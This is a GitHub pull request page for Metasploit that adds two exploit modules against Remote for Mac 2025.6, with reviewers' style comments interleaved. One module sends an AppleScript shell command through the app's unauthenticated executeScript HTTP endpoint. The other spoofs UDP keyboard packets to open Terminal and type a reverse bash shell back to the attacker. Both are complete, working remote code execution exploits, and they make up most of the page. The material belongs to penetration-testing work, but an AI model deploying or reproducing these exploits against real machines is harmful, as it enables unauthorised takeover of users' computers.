Skip to content

Adds UDP Keyboard RCE for Remote for Mac 2025.6 #20266

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 9 commits into
base: master
Choose a base branch
from
Open
123 changes: 123 additions & 0 deletions modules/exploits/osx/http/remote_for_mac_rce.rb
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Isn't this file part of this PR? I don't think this should be here, unless you want to submit both modules together - in that case, the best approach would be to close the previous PR and add documentation to this PR as well.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think this has to be here.

Original file line number Diff line number Diff line change
@@ -0,0 +1,123 @@
##
# Exploit Title: Remote for Mac 2025.6 - Unauthenticated RCE MSF Module
# Date: May 2025
# Exploit Author: Chokri Hammedi (@chokri0x00)
# Vendor Homepage: https://www.cherpake.com/
# Software Link: https://cherpake.com/latest.php?os=mac
# Exploit Source: https://packetstormsecurity.com/files/195347/
# Version: Remote for Mac 2025.6
# Tested on: macOS Mojave, macOS Ventura
##

require 'json'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote for Mac 2025.6 - Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in
Remote for Mac 2025.6 via the /api/executeScript endpoint. When authentication is
disabled on the target system, it allows attackers to execute arbitrary AppleScript
commands, which can include shell commands via `do shell script`.
},
'License' => MSF_LICENSE,
'Author' => ['Chokri Hammedi (@blue0x1)'],
'References' => [
['URL', 'https://packetstorm.news/files/id/195347/']
],
'DisclosureDate' => '2025-05-27',
'CVE' => 'Pending',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 49229,
'SSL' => true
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
}
)
)

register_options([
Opt::RHOST(),
Opt::RPORT(49229),
OptBool.new('SSL', [true, 'Enable SSL/TLS', true]),
OptString.new('LHOST', [true, 'Local host to receive reverse shell']),
OptInt.new('LPORT', [true, 'Local port to receive reverse shell', 4444]),
OptBool.new('FORCE', [false, 'Force exploitation even if checks fail', false])
])
end

def check
return CheckCode::Unknown('Skipping version/auth checks (--force)') if datastore['FORCE']

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'),
'method' => 'GET',
'ssl' => datastore['SSL']
)

return CheckCode::Unknown('No response from target') unless res && res.code == 200

begin
info = JSON.parse(res.body)
rescue JSON::ParserError
return CheckCode::Unknown('Unable to parse JSON from /api/getVersion')
end

if info['requires.auth'] == true
return CheckCode::Safe('Target requires authentication on /api/executeScript')
end

if info['version'] != '2025.6'
return CheckCode::Safe("Target version is #{info['version']}, not vulnerable")
end

CheckCode::Appears
end

def exploit
unless datastore['FORCE'] || check == CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target does not appear vulnerable')
end

print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}")
cmd = payload.encoded
escaped = cmd.gsub('\\', '\\\\\\').gsub('"', '\"')
applescript = %(do shell script "#{escaped}")

print_status("Sending exploit to #{rhost}:#{rport} via AppleScript")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'),
'method' => 'GET',
'ssl' => datastore['SSL'],
'headers' => {
'X-ClientToken' => '1337',
'X-HostName' => 'iFruit',
'X-HostFullModel' => 'iFruit19,2',
'X-Script' => applescript,
'X-ScriptName' => 'exploit',
'X-ScriptDelay' => '0'
Comment on lines +108 to +113
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can any of these except X-Script be randomized?

}
)

if res && res.code == 200
print_good('Payload delivered successfully. Awaiting session...')
else
fail_with(Failure::Unknown, "Unexpected HTTP response: #{res ? res.code : 'no response'}")
end
end
end
146 changes: 146 additions & 0 deletions modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you mind adding check method here?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also, can you add module documentation for this module - https://docs.metasploit.com/docs/using-metasploit/basics/module-documentation.html?

Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
require 'json'
require 'socket'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6.
When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets
without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute
arbitrary shell commands, achieving code execution as the current user.

Tested on macOS Mojave and Ventura.
},
'Author' => ['Chokri Hammedi'],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://packetstorm.news/files/id/196351/']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
},
'Platform' => ['unix','osx'],
'Arch' => ARCH_CMD,
'Targets' => [['Remote for Mac 2025.6', {}]],
'DefaultTarget' => 0,
'DefaultPayload' => 'cmd/unix/reverse_bash',
'DisclosureDate' => '2025-05-27'
)
)

register_options(
[
Opt::RHOSTS(),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why is this empty? I don't think this has to be here.

Opt::RPORT(49229),
OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SSL is already registered options afaik

OptString.new('TARGETURI', [true, 'Base URI path', '/']),
]
)
end

def check_auth_disabled?
protocol = datastore['SSL'] ? 'https' : 'http'
vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")
Comment on lines +52 to +53
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The send_request_cgi has already in its options SSL, so no need to specify it like this.


begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'),
'ctype' => 'application/json',
'ssl' => datastore['SSL'],
'rport' => datastore['RPORT'],
'rhost' => datastore['RHOSTS']
Comment on lines +60 to +62
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm not sure if this should be here

})

if res&.code == 200
json = JSON.parse(res.body)
if json['requires.auth'] == false
print_good('Authentication is disabled. Target is vulnerable.')
return true
else
print_error('Authentication is enabled. Exploit aborted.')
return false
end
else
print_error('Unexpected response from target')
return false
end
rescue ::Rex::ConnectionError, JSON::ParserError => e
print_error("Connection or parsing error: #{e.message}")
return false
end
Comment on lines +66 to +81
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using res.get_json_document would simplify greatly the logic of this part

end

def exploit
unless check_auth_disabled?
fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable')
end

udp_port = datastore['RPORT']
target_ip = datastore['RHOSTS']
Comment on lines +89 to +90
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you sending the UDP request to the same host/port as for TCP HTTP request?

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yes it’s the same port


initial_packets_hex = [
'07000200370001',
'07000200370001',
'060003002000',
'07000200370000',
'07000200370000'
]

final_packets_hex = [
'07000200240001',
'07000200240000'
]

udp_sock = UDPSocket.new
udp_sock.connect(target_ip, udp_port)

print_status('Simulating system keyboard input to open Terminal...')
initial_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.05)
end

prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
'terminal'.each_char do |ch|
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
udp_sock.send(pkt, 0)
select(nil, nil, nil, 0.1)
end

final_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.1)
end
Comment on lines +105 to +124
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 May 30, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can use include Msf::Exploit::Remote::Udp to simplify some of this


sleep(2)

shell_cmd = payload.encoded
print_status('Sending malicious payload to be executed...')

shell_cmd.each_char do |ch|
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
udp_sock.send(pkt, 0)
select(nil, nil, nil, 0.1)
end

final_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.1)
end

print_good('Payload sent. Awaiting session...')
ensure
udp_sock.close if udp_sock
end
end